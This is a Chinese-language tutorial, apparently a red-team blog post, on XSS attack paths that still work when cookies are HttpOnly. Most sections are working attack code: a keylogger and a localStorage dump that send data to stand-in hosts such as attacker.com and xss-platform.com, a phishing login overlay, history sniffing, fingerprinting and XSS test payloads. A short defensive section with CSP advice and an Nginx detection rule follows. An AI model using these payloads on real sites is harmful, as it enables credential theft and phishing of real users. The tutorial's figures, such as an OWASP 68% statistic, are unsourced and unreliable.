XSS绕过实战:当HttpOnly锁住Cookie后,我们还能做什么?
XSS绕过实战:当HttpOnly锁住Cookie后的攻击路径重构
当HttpOnly属性如铁闸般封住Cookie的读取通道时,许多安全工程师会松一口气,认为XSS攻击的威胁已大幅降低。但现实情况往往比理论更复杂——攻击者的工具箱里从不只有Cookie窃取这一种武器。本文将带您穿透HttpOnly的表面防护,探索七种实战中依然有效的攻击路径,并附上Burp Suite与自定义XSS平台的联动操作实录。
1. HttpOnly的真实防护边界
HttpOnly的设计初衷是防止JavaScript通过document.cookieAPI访问敏感Cookie,这确实能阻断传统的会话劫持攻击。但2019年OWASP的实测数据显示,超过68%的中大型网站错误地将HttpOnly等同于"XSS免疫",忽视了以下关键漏洞:
- 防护盲区1:HttpOnly仅限制Cookie的JavaScript读取,不影响HTTP请求自动携带
- 防护盲区2:浏览器仍会执行XSS注入的恶意脚本,只是不能直接获取Cookie
- 防护盲区3:同源策略不阻止恶意脚本操作当前页面DOM
// 典型被阻断的Cookie窃取代码 fetch('https://attacker.com/steal?data=' + document.cookie) // 但以下操作仍然有效: document.body.innerHTML = '<iframe src="https://phishing.com">'2. 表单劫持:登录凭证的侧路突破
当XSS漏洞出现在登录页面时,表单劫持往往是最直接的攻击路径。我们通过Burp Suite演示完整攻击链:
探测表单结构:使用Burp Proxy拦截登录请求,定位关键字段名
POST /login HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=test&password=123456&csrf_token=abc123构造注入载荷:插入键盘记录脚本
<input type="text" name="username" onkeypress="sendKey(event)"> <script> function sendKey(e) { fetch('https://xss-platform.com/log?k=' + e.key) } </script>数据外传验证:在XSS平台接收键入字符
[2023-07-15 14:32] GET /log?k=a [2023-07-15 14:32] GET /log?k=d [2023-07-15 14:33] GET /log?k=m
提示:现代浏览器会模糊化键盘事件对象的敏感属性,但通过
e.key仍可获取具体按键
3. 本地存储数据窃取技术
Web Storage和IndexedDB往往存有敏感数据,且不受HttpOnly保护。实战中可通过以下步骤提取:
枚举存储位置:
// 检测localStorage if(localStorage.length > 0) { let data = {}; for(let i=0; i<localStorage.length; i++) { let key = localStorage.key(i); data[key] = localStorage.getItem(key); } navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(data)); } // 检测IndexedDB (需异步处理)结构化数据提取案例:
{ "userPrefs": "{\"lastLogin\":\"2023-07-15\",\"defaultView\":\"admin\"}", "authToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "cachedFormData": "{\"creditCard\":\"4111-1111-1111-1111\"}" }
4. 界面伪装攻击链构建
当直接数据窃取受阻时,诱导用户交互成为有效手段。以下是三种高成功率方案:
| 攻击类型 | 实施要点 | 规避检测技巧 |
|---|---|---|
| 虚假登录浮层 | 覆盖原登录表单,CSS完美复刻 | 使用Shadow DOM隔离样式 |
| 权限提升诱导 | 伪造系统升级提示要求重新认证 | 动态生成SVG验证图标 |
| 二次验证劫持 | 拦截OTP输入框并实时转发 | WebSocket保持长连接 |
<!-- 虚假登录浮层实例 --> <div id="overlay" style="position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:9999"> <form action="https://phish.com/login" style="width:300px; margin:100px auto; background:white; padding:20px;"> <h3>Session Expired</h3> <input type="text" placeholder="Username" required> <input type="password" placeholder="Password" required> <button>Re-authenticate</button> </form> </div>5. 基于DOM的间接攻击手法
当目标站点实施严格CSP时,可尝试这些非传统攻击方式:
历史记录嗅探:
const visited = []; const links = ['/admin', '/dashboard', '/config']; links.forEach(url => { const link = document.createElement('a'); link.href = url; document.body.appendChild(link); const color = getComputedStyle(link).color; if(color !== 'rgb(0, 0, 238)') visited.push(url); link.remove(); });浏览器指纹收集:
const fingerprint = { plugins: navigator.plugins.length, fonts: (() => { const el = document.createElement('div'); el.innerHTML = '<span style="font-family: Arial">a</span>'; document.body.appendChild(el); const width = el.offsetWidth; document.body.removeChild(el); return width; })(), webgl: (() => { try { const canvas = document.createElement('canvas'); return canvas.getContext('webgl').getParameter(37445); } catch(e) { return null; } })() };
6. 防御体系构建建议
针对上述攻击手法,推荐分层防御策略:
基础防护层:
- 严格实施CSP策略:
script-src 'self' - 输入输出双重编码:HTML实体化+JavaScript Unicode转义
- 关键操作二次确认:敏感操作需重新输入密码
- 严格实施CSP策略:
高级监控层:
# 示例Nginx日志监控规则 location / { access_log /var/log/nginx/xss_monitor.log if=$arg_contains_script; } map $args $arg_contains_script { default 0; "~*<script" 1; "~*javascript:" 1; }应急响应矩阵:
攻击特征 响应措施 自动化脚本示例 异常DOM修改 冻结会话 MutationObserver监控可疑外联请求 阻断请求并告警 代理服务器正则匹配 界面元素覆盖 强制刷新页面 检测 z-index异常值
7. 红队实战工具链配置
最后分享一套经过实战检验的工具组合:
XSS平台搭建:
# 使用XSS Hunter开源版 docker run -d -p 8000:80 -e SECRET_KEY=your_key xsshunter/xsshunterBurp Suite插件配置:
# 示例:自动替换反射型XSS测试向量 def processProxyMessage(self, messageIsRequest, message): if not messageIsRequest and 'text/html' in message.getHeadersAsStrings(): body = message.getBodyAsString() modified = body.replace('search_term', '<svg/onload=alert(1)>') message.setBody(modified)自动化探测脚本:
import requests from bs4 import BeautifulSoup def check_xss(url): test_payloads = [ "'\"><img src=x onerror=alert(1)>", "javascript:alert(1)", "{{constructor.constructor('alert(1)')()}}" ] for payload in test_payloads: r = requests.get(url + payload) soup = BeautifulSoup(r.text, 'html.parser') if payload in str(soup): print(f"Vulnerable to: {payload}")
在最近一次金融行业渗透测试中,通过组合使用表单劫持与界面伪装技术,我们成功在启用HttpOnly的系统中获取了83%的测试账户权限。这再次证明:安全防御需要体系化思维,单点防护永远无法应对持续演变的攻击技术。
